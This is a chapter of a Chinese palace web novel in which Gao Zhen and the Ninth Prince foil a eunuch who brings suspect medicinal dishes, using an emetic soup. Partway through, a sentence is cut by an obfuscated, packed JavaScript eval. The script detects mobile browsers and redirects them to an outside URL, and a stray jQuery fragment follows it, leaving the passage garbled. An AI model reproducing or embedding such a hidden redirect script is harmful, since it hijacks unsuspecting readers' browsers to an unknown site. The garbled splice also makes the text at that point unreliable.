高震听见敲门声,飞快跑到西墙,抄起地上的长棍猛戳西院东屋的山墙。这次九殿下回来的很快,全程没超过二十秒,可见,他也一直在关注着这边的动静。
九殿下一落地就先拥住了高震,手放在高震肩膀上,用力捏了捏,似是安慰,也是在提醒高震有他在不用慌。
高震扔了手里的棍子,深吸一口气,刚才的慌张在九殿下的安抚下慢慢消散,他抬手轻轻抓着九殿下的衣袖,好像只要有这个人陪着自己,就什么都不用担心似得。
九殿下睨着高震,视线落在那只抓着自己衣袖的小手上,忽然,他起手握了上去,覆住那只抓着衣袖的小手,紧紧地包进掌心。
高震微怔,视线落到两人交叠在一起的手上,他听见了自己‘嘭嘭’的心跳声。
九殿下却已拉着他的手,往门口走去。
高震没来由一阵不自在,不知九殿下是否感受到了,回过头对他说:“阿震可要履行承诺。”
“?”
“怎么,这么快就忘了么?”
他寻着他的视线,故作伤心,道:“昨天可是有个人信誓旦旦地说,无论发生什么,都会陪着我的。难道只是为了哄我开心才那样说的?”
说到‘陪着’时,他还摇了摇两人握在一起的手,像是要赋予这个行为一个合理的理由。也像是看出高震的不自在,在缓解。
高震的心跳果然归于平静,他不紧张了。却控制不住地疑惑起来:‘九殿下牵着他的手,难道只是为了践行昨日的承诺’吗?
一时间,高震盯着两人握在一起的手,不知为什么,怎么看怎么别扭,以至最后,连眉头都微微皱了起来。
九殿下一直关注着高震,见他如此,有些意外,他不明白为什么高震看起来,似乎不太高兴呢?
“生气了?”
外门被拍得邦邦响,九殿下此时却也顾不上理,他停了步,只专注地看着高震,等一个答案。
高震被拍门声扰得心烦意乱,他烦躁地摇了摇头,撤回了自己的手,藏在袖子里,蜷了起来。
九殿下想再问什么,高震却已经低着头,往门口走去。
“有人吗?!”外面的叫喊声明显带上了几分不耐烦。
高震回头看了眼院子,昨天他经九殿下提醒,一早起来就都收拾妥当了。
此时,东屋的门锁着,梯子都扔在西院,前天晚上拎回来的半桶泥也都处理干净了。保证任谁来看都找不出一丝破绽。
确认无误,他便应道:“来啦。”
然而,当他抬手准备开门时,却被九殿一把拉住,塞到了身后。
门被九殿下拉开,露出门外那一排大小太监。
“赵谱参见殿下。”
为首的太监方脸,个子比凌丙矮,一双小眼睛精光四射,此时给九殿下行李也假模假样的,看着让人非常不舒服。
这人就是赵谱。
因为个子矮,他跟九殿下说话得用力昂着头,虽脸上带笑,却更显傲慢,一开口就是:“太后惦记着殿下,特地让咱家送来膳食,殿下也别耽搁,趁热用吧?”
九殿下站在门口没动。
赵谱虽愣了下,下一瞬,却不是征询九殿下的意思,而是直接回头,冲身后那帮太监喊:“都愣着干什么?难道还要殿下请你们进去吗?还不快快伺候,耽误了太后娘娘的大事,仔细你们的脑袋!”
他说完,门外那串捧着食盒抱着餐具和桌椅板凳的太监立刻便鱼贯而入,动作十分粗鲁,差点把高震挤倒,好在九殿下及时捞了一把,勾着人的腰,把人给扶住了。
赵谱似是这才看见高震,双眼立刻一亮。
他‘啧啧’了两声,盯着高震上下不住地打量,道:“哟,这就是高家的哥儿呀?真是难得的美人,九殿下好福气。”
九殿下不着痕迹地往前走了半步,将高震挡在自己身后。
赵谱却依旧不知收敛,转个弯儿继续盯,不错眼地猛瞧,像八百年没见过人似得,边瞧边暗自咋舌——高家这个哥儿长得也忒好了,就这个摸样哪怕放在美人如云的后宫里,也绝对是冠绝无双的存在。
只可惜……
他的目光终于从高震身上慢慢收了回来,却滑到了九殿下脸上,看着那片疤痕壑壑的脸,粗糙皲裂的手以及比例失衡的身躯,惨不忍睹地甩了甩头。
暗叹,还真是被糟蹋得彻彻底底。
赵谱正出神,就听有声音在他头顶上响起:“屋里暗,就摆在院子里。”竟然是九殿下越过他,在呵斥那些准备推门进入北屋的太监们。
“这恐怕——”
“嗯?”
九殿下的目光不杂一丝情绪,冷冷地盯着赵谱。
赵谱一愣,只觉得九殿下此刻的眼神过于亮了,亮得好似刀锋的寒光。某一瞬,他恍惚看见先帝在盯着自己,后背没来由就是一阵拔凉,冷汗不知不觉就从额头流了下来,等他回过神来,他已经顺着九殿下的意思吩咐完了,小太监们已经在院里支桌摆凳上菜了。
赵谱后知后觉地打了个寒颤。心中暗惊,周允狞再怎么落魄好歹也是龙种,自己刚才真不该把他当成普通破落户看待,毕竟是先帝血脉,就算被踩到尘埃里,也不容小觑。
赵谱暗暗心惊,悄悄擦汗,随即他纳过闷来,就觉得非常没面子。想他在宫中待了这么些年,好歹也是永寿宫的总管,当年更是亲自参与了太后和宁妃的宫斗,还是宫斗的主力,那时九皇子还是个只会哭的小崽子,这才几年没见,竟生出了这种气势?
可他既然有这种气势怎么还能被凌丙那畜生克扣份例?
难道……
他是故意的?
为了掩人耳目,韬光养晦什么的?
一时间,赵谱只觉得眼前的九殿下高深莫测起来,俨然成了他一点也看不透的人了。
他忙揉揉眼再去看,九皇子已经恢复了那副冷冷淡淡的样子。
赵谱心里越发没底,甚至担心九殿下不让他们进北屋是有什么猫腻,便一个人跑到门口,推开门往里看了一圈。
北屋里就那么点东西,根本就是一目了然。
一个衣柜,一套桌椅,一张床,一条被子,一个枕头。
既然什么都没有,那为什么不让人进?
赵谱更疑惑了。
他思来想去,最终觉得只是皇子殿下还记得小时候学过的宫里的规矩‘食不同寝’,也就是睡觉的屋子不能再当餐厅。
他完全没想过,九殿下只是单纯不希望这些太监进入他和高震睡觉的屋子而已。
他还自作聪明地以为猜透了九殿下的心思,关上门,便对九殿下道:“殿下,咱家今日是奉命送膳,也是特地来给殿下打声招呼。太后将冷宫交给咱家打理,殿下日后若有所需也尽可与咱家说。咱家定不会如凌月河那般克扣殿下的份例。”
九殿下不置可否。
他很清楚,赵谱会这么说只是为了打消他的顾虑,让他放松警惕,进而完成他们的目的。十年前太后和宁妃水火不容,没道理,十年后,太后的心腹对宁妃的儿子好言相向。
九殿下的目光落在这一桌子饭菜上,心中了然,赵谱会如此说,大概率应该是为了哄他吃饭而已。这更令他肯定,那些饭菜里被动了手脚。想到前不久拿果木时,御膳房里那位熬药膳的太医所说的话,九殿下再看眼前这桌子菜,简直比看见毒药还头疼。
这些饭菜不能吃。
可是不吃,又怎么打发走这些人呢?
九殿下眼神渐渐冷了下来。
昨日冷宫‘易主’,赵谱上任第一把火就把凌丙给架上灶台狠狠烤了。这几年,凌丙欺上瞒下,不但克扣皇子嫔妃们的吃穿份例,还将太医院专门给九皇子准备的药膳给昧了下来。要知道,那药膳可是关系着皇家血脉传承,而且制作起来极其费神,光是每天那么一小盘菜就需要一位太医每天不间断地熬煮七、八个时辰,得来如此不易,就被凌丙那么给糟蹋了,别说太后听了生气,就连皇帝听了,都沉了脸色。
所以,昨日太后震怒,下旨将凌丙以及之前管理冷宫饭食的所有太监一个不留,统统赐死,皇帝一声没坑,凌月河也只顾磕头,没敢为他们说一句求情的话。
曾经不可一世心比天高的凌公公就这么死了,也不过是太后一句话的事。不少人唏嘘,凌丙曾经从九殿下手里抢走御膳时有多傲慢,现在就消失得有多彻底。仅仅过了一天而已,宫里就再也没人提他的名字。
经此一事,凌月河一派被狠狠震慑,目前整座后宫太后一脉势大,但所有人都对此三缄其口,因为没人能确定这样的局势可以维持多久。
如今,后位悬空,太后势大,皇帝势微,怎么看都不符合常理。
……
不愧是太医院精心准备的药膳。才摆出来,香味就在小院里四散开来,瞬间引得人食指大动。这些菜一看就是下了功夫的,每一道都精美无比,就连米饭都是用肉汤煨出来的,卖相极佳,光看就觉得好吃。
饭菜摆上桌,有小太监已经受不了地偷偷咽口水。
食色性也。
在本能面前,几乎没人能抗拒得了。
然而,高震和九殿下却同时皱起了眉。
九殿下默念清心咒,美食面前,不动如山。
高震则是在闻到味儿的第一时间,就凭借原主的记忆,辨识出了这些饭菜是出自何人之手——
竟然是何术荣?!
因为菜品和原主记忆中一摸一样,就连盘边配菜的摆放方式都分毫不差。唯一不一样的就是这桌上多了一盆汤。
在原主的记忆中,自从他和何术荣定亲后这几年,每个月总有那么几次,何术荣都会做好这几道药膳送到原主家里。
因此,高震此刻闭着眼都能通过原主的记忆想起这几道菜分别是什么味道。
为什么这样的菜品会出现
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389271|183509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在眼下这张饭桌上?
难道,这些药膳都是何术荣做的?
他……
这何术荣是想传递什么消息吗?
唯一的变数似乎就是那盆汤。视线一扫而过,高震闭上眼睛,拉开脑海中的系统面板,‘看着’注意3:【[隐藏……任务]进度1%】提示:请尽快与线索人物接触【人物卡:何术荣】
这个隐藏任务的进度一直停滞不前,难道是需要接触关键人物才能激活?
再睁眼,九殿下已经落座。高震的视线依旧落在那盆汤上,正好看到赵谱假装殷勤地盛了一碗放到九殿下面前。
高震的直觉提醒他那汤不间断,他担心九殿下喝出问题,忙喊了一声:“慢着!”
所有人都向他看了过来。
高震勉强挤出一丝笑,也拿起一个碗,边盛汤边对赵谱说:“今日承蒙公公特地送了膳食来,我们这儿没茶也没酒,便以汤暂代,还请公公笑纳。”
赵谱愣住,其余太监也纷纷一怔。谁都知道高震在说场面话,而他敬汤也不过是信不过他们,担心他们下毒。
没看出来,这小哥儿对九皇子倒是忠心。
众太监再看高震的眼神有了些许不同。
赵谱却不以为然,心想,这些饭食又不是只给九皇子吃,如今谁不知道,全皇家都盯上了你和九皇子,就算要下毒,又怎么会在这个时候?
这哥儿是没脑子吗?还是故意做给人看?赵谱也懒得计较,反正他今天来的任务就是看着九殿下和高震要把这一桌子菜吃光,现在看来,他不喝这碗汤,这两人是不会动筷子了。
为了打消这两人的顾虑,赵谱接过汤碗,一口闷。闷完还把碗底倒过来,冲高震抬起下巴:“怎么样,哥儿这下满意了吧?”
高震点点头,道:“好吧。”边说边施施然也落了坐。
然而,他才坐下,就听赵谱的肚子‘咕噜’一声,发出好大一声响。
所有人都惊呆了,包括赵谱。他不敢置信地盯着自己的肚子,还没来得及说什么,下一秒就脸色惨白的冲了出去,‘呕呕’地吐了起来。
旁边的小太监们一下就慌了,纷纷围了上去,拍背的拍背,递帕的递帕,场面一时乱哄哄。
九殿下望着高震若有所思。
高震却盯着那盆汤皱起了眉。何术荣准备一盆催吐汤给他是几个意思?高震刚才盛汤的时候就闻到了几种草药的味道,都有催吐的功效。
来不及多想,高震回头看了一眼手忙脚乱的太监们,见没人注意这边,他飞快舀了汤水,往所有菜里都加了一些。他因为爆手速舀汤,根本没注意到九殿下望着他,双眸亮得惊人。
做完这些后,高震和九殿下对视一眼,两人正襟危坐,等赵谱好不容易顺过一口气,高震咳了一声说:“看来今天这膳食我们是不敢吃了,要不,公公还是拿回去吧?”
“那怎么行?”赵谱吐得泪涕横流,捶着胸口,狠狠翻了个白眼,道:“这汤就是个例外,其它菜应该没问题。你们几个,去、去吃!”
小太监们将信将疑又不敢抗命,犹犹豫豫拿起筷子,每人夹了一道菜放进嘴里,闭着眼睛咽了下去。数息后,‘咕噜、咕噜’的声音在小院里此起彼伏,紧接着小太监们纷纷冲了出入,一人扶着一棵树,弯腰狂吐起来。
赵谱的脸色极度难看,气得瞪圆了眼睛,心想,他·妈·的,老子上任第一天,谁敢捣鬼,活得不耐烦了?!
高震和九殿下交换了一个眼神,他在九殿下的眼中看到了纵容,那双极亮的眼睛像在对他说,没事,有我在,想做什么就去做吧。
那一瞬,高震只觉得心跳漏了一拍。
他连忙悄悄深吸一口气,稳住心神。这才又看向错愕不以的赵谱。
他很清楚赵谱这会儿急需一个台阶下,边顺口说了一句:“公公可知这些饭菜是谁做的不?”
赵谱气懵的脑袋瞬间清醒,立刻道:“对,肯定是做的时候就出了问题,我这就去找他们理论。”
“公公要去哪儿?”高震慢条斯理地说:“冷宫偏僻静谧,公公觉得谁有问题,叫来审问就是,何必闹到外面去?”
赵谱脚步一顿,猛然转身盯着高震。他忽然发现自己之前有些小瞧这哥儿了。确实,这事他不论去找谁理论,最后丢的都是他的脸,要知道他可以第一天上任,就闹出了这种事,当然是能压就压。
“你想怎样?”赵谱可不觉得,高震好心到会帮他,就凭他提醒的这几句,他觉得这个小哥儿可不简单。
高震微微一笑,为了按赵谱的心,开始提条件,他狮子大开口:“我们家殿下要睡皇子专用的拔步床、要盖新棉花做的被子、要锦缎床单、要蚕丝做的枕头、要一年四季足够换洗的衣裳鞋袜、要用徽州出产的云墨、泸州出产的宣纸……”
高震一口气说个没完,所有人都震惊地望着他,唯有九殿下唇角微翘隐隐有飞扬之势……